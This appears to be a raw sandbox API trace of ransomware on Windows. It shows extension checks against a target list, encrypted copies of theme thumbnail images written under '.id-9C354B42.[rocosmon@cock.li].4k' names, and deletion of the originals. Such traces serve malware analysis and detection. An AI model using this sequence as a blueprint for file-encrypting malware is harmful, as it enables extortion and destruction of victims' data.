	[0103.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0103.041] lstrlenW (lpString=".dbf") returned 4
	[0103.041] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0103.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0103.041] lstrlenW (lpString=".1cd") returned 4
	[0103.041] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0103.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0103.041] lstrlenW (lpString=".jpg") returned 4
	[0103.041] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0103.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0103.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0103.041] lstrlenW (lpString=".doc") returned 4
	[0103.041] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0103.041] lstrlenW (lpString=".docx") returned 5
	[0103.041] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0103.041] lstrlenW (lpString=".pdf") returned 4
	[0103.042] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0103.042] lstrlenW (lpString=".xls") returned 4
	[0103.042] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0103.042] lstrlenW (lpString=".xlsx") returned 5
	[0103.042] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0103.042] lstrlenW (lpString=".ppt") returned 4
	[0103.042] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0103.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0103.042] lstrlenW (lpString=".zip") returned 4
	[0103.042] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0103.042] lstrlenW (lpString=".rar") returned 4
	[0103.042] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0103.042] lstrlenW (lpString=".bz2") returned 4
	[0103.042] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0103.042] lstrlenW (lpString=".7z") returned 3
	[0103.042] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0103.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0103.042] lstrlenW (lpString=".dbf") returned 4
	[0103.042] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0103.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0103.042] lstrlenW (lpString=".1cd") returned 4
	[0103.042] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0103.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76
	[0103.042] lstrlenW (lpString=".jpg") returned 4
	[0103.042] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0103.042] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0103.042] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0103.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0103.127] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=33277) returned 1
	[0103.127] CloseHandle (hObject=0x1d0) returned 1
	[0103.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20
	[0103.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0103.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0103.127] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.127] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0103.128] GetLastError () returned 0x0
	[0103.128] ReadFile (in: hFile=0x1d0, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x81fd, lpOverlapped=0x0) returned 1
	[0104.678] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x8200, lpOverlapped=0x0) returned 1
	[0104.842] ReadFile (in: hFile=0x1d0, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0104.842] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0104.842] SetEndOfFile (hFile=0x1d8) returned 1
	[0104.842] CloseHandle (hObject=0x1d8) returned 1
	[0104.842] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0104.842] SetEndOfFile (hFile=0x1d0) returned 1
	[0104.843] CloseHandle (hObject=0x1d0) returned 1
	[0104.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0104.843] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1
	[0104.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0104.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0104.844] lstrlenW (lpString=".doc") returned 4
	[0104.844] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0104.844] lstrlenW (lpString=".docx") returned 5
	[0104.844] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0104.844] lstrlenW (lpString=".pdf") returned 4
	[0104.844] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0104.845] lstrlenW (lpString=".xls") returned 4
	[0104.845] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0104.845] lstrlenW (lpString=".xlsx") returned 5
	[0104.845] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0104.845] lstrlenW (lpString=".ppt") returned 4
	[0104.845] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0104.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0104.845] lstrlenW (lpString=".zip") returned 4
	[0104.845] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0104.845] lstrlenW (lpString=".rar") returned 4
	[0104.845] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0104.845] lstrlenW (lpString=".bz2") returned 4
	[0104.845] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0104.845] lstrlenW (lpString=".7z") returned 3
	[0104.845] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0104.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0104.845] lstrlenW (lpString=".dbf") returned 4
	[0104.845] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0104.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0104.845] lstrlenW (lpString=".1cd") returned 4
	[0104.845] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0104.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0104.845] lstrlenW (lpString=".jpg") returned 4
	[0104.845] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0104.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0104.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0104.846] lstrlenW (lpString=".doc") returned 4
	[0104.846] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0104.846] lstrlenW (lpString=".docx") returned 5
	[0104.846] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0104.846] lstrlenW (lpString=".pdf") returned 4
	[0104.846] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0104.846] lstrlenW (lpString=".xls") returned 4
	[0104.846] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0104.846] lstrlenW (lpString=".xlsx") returned 5
	[0104.846] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0104.846] lstrlenW (lpString=".ppt") returned 4
	[0104.846] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0104.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0104.846] lstrlenW (lpString=".zip") returned 4
	[0104.846] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0104.846] lstrlenW (lpString=".rar") returned 4
	[0104.846] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0104.846] lstrlenW (lpString=".bz2") returned 4
	[0104.846] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0104.846] lstrlenW (lpString=".7z") returned 3
	[0104.846] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0104.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0104.846] lstrlenW (lpString=".dbf") returned 4
	[0104.846] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0104.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0104.846] lstrlenW (lpString=".1cd") returned 4
	[0104.846] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0104.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0104.846] lstrlenW (lpString=".jpg") returned 4
	[0104.846] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0104.847] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0104.847] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0104.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0105.043] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=26402) returned 1
	[0105.043] CloseHandle (hObject=0x1ac) returned 1
	[0105.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20
	[0105.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0105.044] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.044] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0105.044] GetLastError () returned 0x0
	[0105.044] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x6722, lpOverlapped=0x0) returned 1
	[0105.101] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x6730, lpOverlapped=0x0) returned 1
	[0105.103] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.103] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.103] SetEndOfFile (hFile=0x1f8) returned 1
	[0105.103] CloseHandle (hObject=0x1f8) returned 1
	[0105.104] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.104] SetEndOfFile (hFile=0x1ac) returned 1
	[0105.105] CloseHandle (hObject=0x1ac) returned 1
	[0105.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.105] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1
	[0105.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0105.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0105.105] lstrlenW (lpString=".doc") returned 4
	[0105.105] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.105] lstrlenW (lpString=".docx") returned 5
	[0105.106] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.106] lstrlenW (lpString=".pdf") returned 4
	[0105.106] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.106] lstrlenW (lpString=".xls") returned 4
	[0105.106] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.106] lstrlenW (lpString=".xlsx") returned 5
	[0105.106] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.106] lstrlenW (lpString=".ppt") returned 4
	[0105.106] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0105.106] lstrlenW (lpString=".zip") returned 4
	[0105.106] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.106] lstrlenW (lpString=".rar") returned 4
	[0105.106] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.106] lstrlenW (lpString=".bz2") returned 4
	[0105.106] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.106] lstrlenW (lpString=".7z") returned 3
	[0105.106] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0105.106] lstrlenW (lpString=".dbf") returned 4
	[0105.106] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0105.106] lstrlenW (lpString=".1cd") returned 4
	[0105.106] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0105.106] lstrlenW (lpString=".jpg") returned 4
	[0105.106] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0105.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0105.107] lstrlenW (lpString=".doc") returned 4
	[0105.107] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.107] lstrlenW (lpString=".docx") returned 5
	[0105.107] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.107] lstrlenW (lpString=".pdf") returned 4
	[0105.107] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.107] lstrlenW (lpString=".xls") returned 4
	[0105.107] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.107] lstrlenW (lpString=".xlsx") returned 5
	[0105.107] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.107] lstrlenW (lpString=".ppt") returned 4
	[0105.107] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0105.107] lstrlenW (lpString=".zip") returned 4
	[0105.107] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.107] lstrlenW (lpString=".rar") returned 4
	[0105.107] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.107] lstrlenW (lpString=".bz2") returned 4
	[0105.107] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.107] lstrlenW (lpString=".7z") returned 3
	[0105.107] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0105.107] lstrlenW (lpString=".dbf") returned 4
	[0105.107] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0105.108] lstrlenW (lpString=".1cd") returned 4
	[0105.108] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73
	[0105.108] lstrlenW (lpString=".jpg") returned 4
	[0105.108] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.108] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.108] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0105.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0105.116] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=32433) returned 1
	[0105.116] CloseHandle (hObject=0x1ac) returned 1
	[0105.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20
	[0105.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0105.116] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.116] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0105.117] GetLastError () returned 0x0
	[0105.117] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x7eb1, lpOverlapped=0x0) returned 1
	[0105.127] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x7ec0, lpOverlapped=0x0) returned 1
	[0105.129] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.129] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.129] SetEndOfFile (hFile=0x1f8) returned 1
	[0105.129] CloseHandle (hObject=0x1f8) returned 1
	[0105.129] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.130] SetEndOfFile (hFile=0x1ac) returned 1
	[0105.131] CloseHandle (hObject=0x1ac) returned 1
	[0105.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.134] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1
	[0105.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0105.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77
	[0105.134] lstrlenW (lpString=".doc") returned 4
	[0105.134] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.134] lstrlenW (lpString=".docx") returned 5
	[0105.134] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.134] lstrlenW (lpString=".pdf") returned 4
	[0105.134] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.134] lstrlenW (lpString=".xls") returned 4
	[0105.134] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.134] lstrlenW (lpString=".xlsx") returned 5
